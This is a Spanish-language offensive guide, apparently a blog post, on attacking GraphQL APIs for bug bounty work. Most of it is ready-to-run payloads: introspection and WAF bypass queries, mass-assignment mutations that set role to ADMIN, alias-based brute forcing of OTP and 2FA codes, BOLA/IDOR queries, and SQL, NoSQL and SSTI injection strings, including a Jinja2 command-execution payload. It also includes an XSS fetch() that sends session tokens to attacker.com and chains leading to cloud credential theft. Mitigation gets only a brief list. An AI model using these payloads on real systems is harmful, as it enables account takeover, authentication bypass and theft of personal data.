1. ¿Qué es GraphQL y cómo funciona?
GraphQL se ha convertido en un estándar para las API modernas gracias a su flexibilidad y eficiencia. Sin embargo, esa misma flexibilidad genera una amplia superficie de ataque cuando la seguridad no se aplica adecuadamente. A diferencia de REST, GraphQL expone un único punto de conexión con un lenguaje de consulta muy completo, lo que hace que los controles de seguridad tradicionales resulten insuficientes. Este artículo describe una metodología ofensiva completa: desde el descubrimiento hasta la explotación y el encadenamiento de vulnerabilidades.
1.1 Operaciones principales
|Operación |Método HTTP |Propósito |Vector de ataque principal |
|-------------|------------|------------------------|--------------------------------------|
|query |POST / GET |Recuperar datos |IDOR/BOLA, data exposure, DoS |
|mutation |POST |Crear/modificar/eliminar|Mass assignment, privilege escalation |
|subscription |WebSocket |Tiempo real |Auth bypass, data leakage en WebSocket|
|batch |POST (array)|Múltiples ops |Rate limit bypass, amplification |1.2 Arquitectura típica (Stack moderno Cloud-Native)
Cliente → CDN/WAF (Cloudflare/AWS Shield) → API Gateway (Kong/AWS API GW)
↓
GraphQL Server (Apollo/Yoga/Hasura/AppSync)
↓
ORM / Resolvers → DB (PostgreSQL/MongoDB/DynamoDB)
↓
Microservicios internos / S3 / IAMPunto crítico: Los resolvers son la capa más frecuentemente vulnerable. Cada campo puede tener su propia lógica de autorización o carecer completamente de ella. En arquitecturas con múltiples microservicios, el GraphQL Gateway puede asumir incorrectamente que los servicios downstream validan autorización.
1.3 Modelo de Autorización: Dónde Fallan las Apps
Query recibida → Parser → Validation → Execution → Resolvers
↓
[AQUÍ ocurren el 90% de los fallos]
- Resolver A valida
- Resolver B (hijo) NO valida
- Resolver C asume el padre validó2. Descubrimiento y Fingerprinting
2.1 Endpoint Hunting
- Rutas estándar:
/graphql
/api/graphql
/v1/graphql
/v2/graphql
/query
/gql
/data
/api/v1/query- Rutas específicas por framework:
/graphql/console # GraphiQL IDE (desarrollo)
/___graphql # Gatsby / Next.js
/altair # Altair GraphQL client
/playground # Apollo Server (dev)
/__graphql # Rails graphql-ruby
/graphiql # GraphiQL genérico
/graphql-explorer # GitHub-style- APIs modernas / microservicios:
/api/public/graphql
/internal/graphql
/admin/graphql # Alta probabilidad de endpoints no autenticados
/service/graphql
/hasura/v1/graphql # Hasura específico
/v1/graphql # Hasura / AWS AppSync pattern- Rutas en headers y respuestas HTTP:
# Buscar en headers de respuesta
curl -I https://target.com/api/ | grep -i "graphql\|apollo\|hasura"
# Buscar en JS bundles
grep -E "(graphql|gql|apollo)" main.*.js | grep -oE '"[^"]*graphql[^"]*"'
# Buscar en source maps
curl https://target.com/static/js/main.chunk.js.map | jq '.sources[]' | grep -i graphql- Subdominios de alto valor en Bug Bounty:
api.target.com/graphql
graph.target.com/
data.target.com/query
graphql.target.com/
internal-api.target.com/graphql # Frecuentemente sin auth
dev-api.target.com/graphql # Entornos de staging expuestos2.2 Fingerprinting de Motor
# Payload universal de fingerprint
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query { error_fingerprint }"}'Tabla de errores por motor
Fingerprint por headers de respuesta:
curl -s -I https://target.com/graphql | grep -iE "x-powered-by|server|x-apollo|x-hasura"
# Apollo Server: X-Apollo-Server-*
# Hasura: X-Hasura-*
# AWS AppSync: x-amzn-RequestId2.3 Introspección: Descubrimiento de Schema
- Query completa de introspección
query IntrospectionFull {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
kind
name
fields {
name
args { name type { name kind ofType { name kind } } }
type { name kind ofType { name kind } }
}
inputFields { name type { name kind } }
enumValues { name }
}
directives { name locations args { name type { name } } }
}
}- Herramientas:
# InQL (Burp Suite extension) — recomendado
pip install inql
inql -t https://target.com/graphql
# clairvoyance (cuando introspección está OFF)
pip install clairvoyance
clairvoyance https://target.com/graphql -o schema.json
# graphw00f (fingerprint avanzado)
python3 graphw00f.py -d -t https://target.com/graphql
# graphql-cop (security audit automatizado)
pip install graphql-cop
graphql-cop -t https://target.com/graphql -o json3. Bypass de Introspección (WAF y Restricciones)
3.1 Métodos de Bypass por Categoría
A. Bypass por Directivas
- Método 1: skip directive
query { __schema @skip(if: false) { types { name } } }- Método 2: Inline fragments
query { ... on Query { __schema { types { name } } } }- Método 3: Fragment spread
fragment s on __Schema { types { name } }
query { __schema { ...s } }B. Bypass con __type en lugar de __schema
# Menos restrictivo que __schema en muchos WAFs
query { __type(name: "Query") { fields { name type { name kind } } } }
query { __type(name: "Mutation") { fields { name } } }
query { __type(name: "User") { fields { name type { name } } } }
# Enumerar tipos conocidos para reconstruir schema
query { __type(name: "UserRole") { enumValues { name } } }
query { __type(name: "SubscriptionPlan") { enumValues { name } } }C. No-Introspection Discovery (Clairvoyance Method)
# Enviar campos inexistentes para obtener sugerencias
query { admi } # → "Did you mean 'admin'?"
query { useR } # → "Did you mean 'user'?"
query { createUs } # → "Did you mean 'createUser'?"D. Bypass via HTTP Headers
# Algunos WAFs filtran por ruta pero no por header
POST /graphql HTTP/1.1
X-Apollo-Operation-Name: IntrospectionQuery
X-GraphQL-Client-Version: 1.0
# Cambiar User-Agent para parecer IDE
User-Agent: graphql-playground/2.0
User-Agent: Apollo-Playground/1.0
User-Agent: GraphiQL/0.11.04. Metodologías de Explotación
4.1 Mass Assignment en Mutations (Critical)
Principio: Los argumentos en mutaciones raramente están completamente validados server-side, especialmente campos sensibles.
- Paso 1: Enumerar argumentos disponibles via introspección
query {
__type(name: "UpdateUserInput") {
inputFields {
name
type { name kind }
description # ← A veces revela info sensible
}
}
}- Paso 2: Intentar campos no expuestos en la UI
mutation {
updateUser(input: {
id: "me",
role: "ADMIN",
isVerified: true,
emailVerified: true,
twoFactorEnabled: false,
subscriptionTier: "ENTERPRISE",
credits: 999999,
internalNotes: "test",
featureFlags: ["BETA_ALL", "ADMIN_PANEL"]
}) {
id role isVerified
}
}- Paso 3: Campos por industria y stack
E-commerce: balance, credits, discount_rate, tier, referral_bonus
SaaS: plan, seats, features[], trial_end_date, api_quota
Fintech: kyc_status, verified, limit_override, risk_score
Healthcare: access_level, clearance, physician, hipaa_authorized
Crypto/Web3: wallet_verified, kyc_level, trading_limit, withdrawal_limit
EdTech: certificate_issued, course_completed, subscription_endCampos de alto impacto a buscar siempre:*
role, roles[], permissions[], is_admin, isAdmin, admin
is_verified, emailVerified, phone_verified, kyc_approved
subscription_plan, tier, account_type, plan_id
balance, credits, tokens, quota, limit
internal, internal_note, debug_mode, feature_flags[]
password (en mutations de creación), two_fa_secret
organizationRole, teamRole, workspacePermissions4.2 Alias-Based Brute Force (High → Critical con Rate Limit Bypass)
Bypass de rate limit con múltiples intentos en 1 request:
mutation BruteForceOTP {
a1: verifyOTP(userId: "victim@email.com", code: "000000") { success token }
a2: verifyOTP(userId: "victim@email.com", code: "000001") { success token }
a3: verifyOTP(userId: "victim@email.com", code: "000002") { success token }
# ... hasta cubrir el espacio completo
}Casos de uso para brute force:
- OTP / 2FA codes (6 dígitos = 1,000,000 combinaciones, en batches de 500)
- Códigos de invitación (alfanuméricos cortos)
- Cupones de descuento
- Tokens de reset de contraseña cortos
- PINs de aplicaciones bancarias
- Códigos de verificación de email
4.3 BOLA/IDOR en Resolvers Anidados (High/Critical)
Distinción importante para reportes:
- IDOR clásico: Acceso directo por ID predecible (
user(id: "123")) - BOLA (Broken Object Level Auth): El objeto se accede via relaciones donde la autorización no se propaga correctamente Patrón de explotación BOLA: El objeto raíz valida, los hijos NO:
query NestedBOLA {
myProfile { # Valida: Eres tú
orders { # Valida: Son tus órdenes
items { # NO valida: ¿EstOs items son de tus órdenes?
product {
internalCost # Dato interno accesible
supplierInfo {
contactEmail
contractPrice
}
}
}
}
}
}Escalado: Acceso a datos de otros usuarios vía relaciones:**
query CrossUserDataLeak {
myPosts {
comments {
author {
id
email # Email de todos los comentaristas
phone # Teléfono
lastLoginIp # IP del último login
privateMessages { # Accesible desde esta relación?
content
recipient { email }
}
paymentMethods { # PII financiero
last4
type
billingAddress { street city }
}
}
}
}
}Técnica de enumeración de IDs con alias:
query EnumerateUsers {
u1: user(id: "1") { email role createdAt lastLogin }
u2: user(id: "2") { email role createdAt lastLogin }
u3: user(id: "3") { email role createdAt lastLogin }
# Con alias puedes enumerar masivamente en una sola request
}BOLA en mutations (crítico para reportes):
# Modificar el recurso de otro usuario sin ser propietario
mutation BOLAMutation {
updateOrder(
id: "OTHER_USER_ORDER_ID", # ID de orden de otro usuario
status: "CANCELLED"
) {
id status user { email }
}
}
# Acceder a archivos/documentos de otro usuario
mutation DeleteOtherUserFile {
deleteDocument(documentId: "VICTIM_DOC_ID") {
success
deletedBy { id email }
}
}4.4 GraphQL Injection (SQL / NoSQL / SSTI)
SQL Injection via Argumentos
- Detección básica:
query { users(filter: "' OR '1'='1") { id email } }
query { users(name: "admin'--") { id email password } }- Time-based blind (PostgreSQL):
query { users(name: "' OR pg_sleep(5)--") { id } }- UNION-based:
query { users(name: "' UNION SELECT username,password,3,4 FROM admin_users--") { id } }NoSQL Injection (MongoDB con GraphQL)
- MongoDB operator injection:
query { users(filter: "{\"$gt\": \"\"}") { id email } }
query { user(where: {password: {_gt: ""}}) { id token } }- Hasura-specific (sintaxis de filtros de Hasura):
query {
users(where: {
password: {_regex: ".*"}
}) {
id email password_hash
}
}SSTI via GraphQL Arguments
- Si el backend usa template engines
query { renderTemplate(template: "{{7*7}}") { output } }
query { renderTemplate(template: "${7*7}") { output } }
query { generateReport(title: "#{7*7}") { content } }- SSTI específico por motor
# Jinja2 (Python):
query { render(tpl: "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}") { result } }
# Twig (PHP):
query { render(tpl: "{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}") { result } }4.5 Batch Query Amplification (DoS + Data Extraction)
# Un solo request = 100 operaciones de DB
query BatchAmplification {
r1: user(id: "1") { email profile { bio posts { title content } } }
r2: user(id: "2") { email profile { bio posts { title content } } }
# ... hasta r100
}- DoS via Query Complexity:
# Nested amplification exponencial
query ExponentialComplexity {
users { # 100 users
friends { # × 100 friends = 10,000
posts { # × 10 posts = 100,000
comments { # × 10 comments = 1,000,000 resolvers
author { id email }
}
}
}
}
}4.6 File Upload via Mutations
# GraphQL Multipart Request Spec (graphql-upload)
mutation UploadMalicious($file: Upload!) {
uploadAvatar(file: $file) {
url
filename
}
}4.7 Subscriptions: Vector Frecuentemente Ignorado (High)
- Acceso no autorizado a datos en tiempo real:
subscription AdminStream {
adminEvents { # ← ¿Valida que eres admin?
type
payload
affectedUserId
internalData
}
}- Leak de datos sensibles via subscription:
subscription AllOrders {
orderCreated { # ← Todos los pedidos, no solo los tuyos
id
userId
items { price }
paymentInfo {
last4
cardType
}
}
}Condiciones para CSRF exitoso:
- El endpoint acepta
Content-Type: application/x-www-form-urlencodedotext/plain - No hay validación de
Origin/Referer - La autenticación es basada en cookies (no Bearer token)
- No hay token CSRF explícito
5. Bypass de WAFs y Defensas Modernas
5.1 Bypass por Variables JSON (El más efectivo — Basado en Comportamiento)
{
"query": "mutation Op($v: String!, $r: String!) { modifyUserRole(id: $v, role: $r) { status } }",
"variables": {
"v": "victim_user_id",
"r": "ADMIN"
}
}Por qué funciona: El WAF inspecciona el string de la query buscando palabras clave, pero el payload malicioso está en el bloque variables como JSON estático — no como parte de la query string que el WAF parsea.
5.2 Bypass por Formato de la Query
- Método 1: Formateo alternativo (whitespace)
query{user(id:"1"){email}} # Sin espacios
query { user ( id : "1" ) { email } } # Con espacios extra- Método 2: Comentarios embebidos
query { user(id: "1" #comment
) { email } }- Método 3: Aliases con nombres ofuscados
query {
x: __schema { types { name } } # Alias para evadir detección de __schema
}- Método 4: Fragments para ofuscar
fragment F on Query {
__schema { types { name } }
}
query { ...F }- Método 5: Inline fragments en __typename
query {
__typename
... on Query { __schema { types { name } } }
}5.3 Bypass de Depth Limiting
# Si el servidor limita depth=5, usar aliases para paralelizar
query {
# En lugar de anidar, usa múltiples queries paralelas con alias
path1: user(id: "1") { id email }
path2: post(id: "1") { author { email } }
path3: comment(id: "1") { post { author { email } } }
}5.4 Bypass de Persisted Queries
- Algunos servidores solo aceptan queries pre-registradas (APQ) para ellos se puede hacer un bypass para explotar el proceso de registro
# Paso 1: Registrar query maliciosa como persisted
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { modifyUserRole(id: \"me\", role: \"ADMIN\") { status } }",
"extensions": {
"persistedQuery": {
"version": 1,
"sha256Hash": "register_new"
}
}
}'
# Paso 2: Si el servidor acepta el registro, usar el hash para ejecutar5.5 Bypass de Content Security Policy (CSP) via GraphQL
Si existe un endpoint GraphQL que devuelve datos controlables por usuario y hay un XSS, usar fetch() para exfiltrar desde dominio confiable
// En un contexto de XSS:
fetch('https://target.com/graphql', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
credentials: 'include',
body: JSON.stringify({
query: `{ currentUser { id email role sessionTokens { value } } }`
})
}).then(r => r.json())
.then(d => fetch('https://attacker.com/collect?d=' + btoa(JSON.stringify(d))));6. Estrategia de Encadenamiento (Vulnerability Chaining)
Chain 1: Introspection → Mass Assignment → Account Takeover
- Bypass introspection → Descubres mutación
modifyUserRole - Mass Assignment → Elevas tu cuenta a ADMIN
- Admin Access → Acceso a panel de gestión de usuarios
- Resultado: Account Takeover de cualquier usuario = Critical
Chain 2: IDOR + Subscriptions → Real-time Data Exfiltration
- Descubres subscription
orderUpdatedsin validación de propiedad - Te suscribes a eventos de TODOS los usuarios
- Recibes en tiempo real: datos de pago, emails, direcciones
- Resultado: Mass PII Leakage = Critical (GDPR implications)
Chain 3: GraphQL Injection → SSRF → Internal Network Access
- Si el resolver hace llamadas a servicios internos basándose en el input:
query {
fetchExternalData(url: "http://169.254.169.254/latest/meta-data/")
{ content }
}- Escalado a SSRF via argument injection en URLs
query {
getUserAvatar(userId: "' UNION SELECT 'http://internal-service/admin'--")
{ url }
}- Pasos:
1. SQL/NoSQL Injection en field de URL → SSRF
2. SSRF → Acceso a metadata de AWS/GCP/Azure (169.254.169.254)
3. Metadata → Credenciales IAM
4. Credenciales → Acceso a S3, RDS, secretos
5. Resultado: Full cloud infrastructure compromise = CriticalChain 4: Alias Brute Force → 2FA Bypass → Privileged Access
- Alias brute force en endpoint de verificación de OTP
- Bypass de 2FA para cuenta con privilegios
- Acceso a funcionalidades administrativas
- Resultado: Authentication Bypass + Privilege Escalation = Critical
Chain 5: File Upload → SSRF → Internal Service Discovery
- Upload de SVG malicioso con referencia SSRF
<svg><image href="http://internal-service:8080/admin"/></svg> - El servidor renderiza/procesa el SVG y hace la request interna
- Respuesta del servicio interno devuelta en la URL del avatar
- Resultado: SSRF → Internal network enumeration = High/Critical
Business Impact
Mass Assignment (Privilege Escalation)
Impacto Empresarial: La ausencia de validación en argumentos de mutaciones permite a cualquier usuario autenticado elevar sus privilegios a ADMIN mediante una única solicitud HTTP. Esto compromete el modelo de control de acceso completo de la plataforma. En términos de negocio: acceso no autorizado a datos de todos los clientes, capacidad de modificar/eliminar cualquier registro, y potencial fraude financiero si existen campos de balance/créditos modificables. Estimación de pérdida económica: desde costes de respuesta a incidente hasta sanciones regulatorias GDPR/CCPA
Alias Brute Force (2FA/OTP Bypass)
Impacto Empresarial: El bypass de la autenticación de dos factores mediante el abuso de aliases de GraphQL elimina la capa de seguridad adicional de TODOS los usuarios de la plataforma. Un atacante puede comprometer cuentas de alto valor (ejecutivos, financiero, soporte) mediante un ataque automatizado de bajo costo. La reputación de la plataforma y las obligaciones de cumplimiento (SOC2, ISO27001) quedan directamente comprometidas.
8. Proof of Concept: Escalada de Privilegios Crítica (Mejorado)
PoC Completo: De Usuario Normal a ADMIN
Paso 1: Reconocimiento inicial
# Verificar si introspección está habilitada
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <tu_token>" \
-d '{"query":"{ __schema { queryType { name } } }"}' | jq .Paso 2: Si introspección está bloqueada → Clairvoyance
clairvoyance https://target.com/graphql \
-H "Authorization: Bearer <tu_token>" \
-o discovered_schema.json \
-w /usr/share/wordlists/graphql-fields.txtPaso 3: Enumerar inputs de mutaciones
query {
__type(name: "UpdateUserInput") {
inputFields { name type { name kind ofType { name } } }
}
}Paso 4: Identificar campos sensibles en respuesta
{
"data": {
"__type": {
"inputFields": [
{"name": "id", "type": {"name": "ID"}},
{"name": "username", "type": {"name": "String"}},
{"name": "email", "type": {"name": "String"}},
{"name": "role", "type": {"name": "UserRole"}}, // ← TARGET
{"name": "isVerified", "type": {"name": "Boolean"}} // ← TARGET
]
}
}
}Paso 5: Verificación de escalada
# Confirmar acceso a recursos administrativos
query VerifyAdmin {
adminPanel {
totalUsers
systemConfig { key value }
auditLog { userId action timestamp }
}
}Anatomía de una Query GraphQL
query OperationName($var: Type = "default") {
│ │ │ │ │
│ │ │ │ └─ Valor por defecto
│ │ │ └─ Tipo del argumento
│ │ └─ Variable (reutilizable)
│ └─ Nombre de la operación (opcional, útil para logs)
└─ Tipo de operación: query | mutation | subscription
fieldName(arg: $var, inlineArg: "value") {
subField1
subField2 {
nestedField
}
aliasName: anotherField # ← alias
...fragmentName # ← spread de fragment
... on TypeName { # ← inline fragment (polimorfismo)
specificField
}
}
}10. Mitigación de la Vulnerabilidad
- Deshabilitar introspección en producción
- Límites de profundidad y complejidad
- Autorización a nivel de campo con graphql-shield
- Allowlist de campos modificables (Anti Mass Assignment)
- Rate limiting por operación
11. Tablas de Referencia Rápida
Tabla: Vulnerabilidades GraphQL por Severidad
|Vulnerabilidad |Severidad típica |CVSS aprox |Frecuencia |
|---------------------------------|---------------- |-----------|-------------|
|Mass Assignment |Critical |9.0–9.8 |Media |
|BOLA en resolvers anidados |High/Critical |7.5–9.1 |Media-Alta |
|Alias Brute Force |High/Critical |7.5–9.0 |Baja |
|SQL/NoSQL Injection via args |Critical |8.5–10.0 |Baja |
|SSRF via field injection |Critical |8.5–9.8 |Baja |
|Subscription sin auth |High/Critical |7.0–9.0 |Baja |
|CSRF en mutations |High |6.5–8.0 |Media |
|Batch data extraction |High |7.0–8.5 |Media-Alta |
|File upload + SSRF |High/Critical |7.5–9.0 |Media |
|Query Depth DoS |Medium/High |5.3–7.4 |Media |
|Introspección habilitada en prod |Low/Info |3.1–5.3 |Alta |
|JWT claim injection |High/Critical |7.5–9.1 |Baja |
|Federation _service SDL leak |Low/Medium |3.5–5.5 |Media |Tabla: Herramientas por Fase
|Fase |Herramienta |Uso |Install |
|------------------|----------------------------|------------------------ |--------------------------|
|Discovery |ffuf, dirsearch |Endpoint hunting |apt install ffuf |
|Fingerprint |graphw00f |Identificar motor |pip install graphw00f |
|Schema recon |InQL (Burp), graphql-voyager|Mapear schema completo |Burp Extension |
|Schema recon |clairvoyance |Fuerza bruta de campos |pip install clairvoyance |
|Security audit |graphql-cop |Audit automatizado |pip install graphql-cop |
|Exploitation |Burp Suite + GraphQL tab |Manual testing |— |
|Automation |python-graphql-client |Scripts de explotación |pip install gql |
|WebSocket testing |wscat, Burp WebSocket |Testing de subscriptions |npm install -g wscat |
|Hasura specific |hasura-cli |Admin API access |npm install -g hasura-cli |
|Recon JS bundles |trufflehog, gitleaks |API keys en código |pip install trufflehog |Conéctate conmigo
Support Me ☕
Si esto te ha resultado útil, te agradecería que me siguieras y apoyaras este contenido.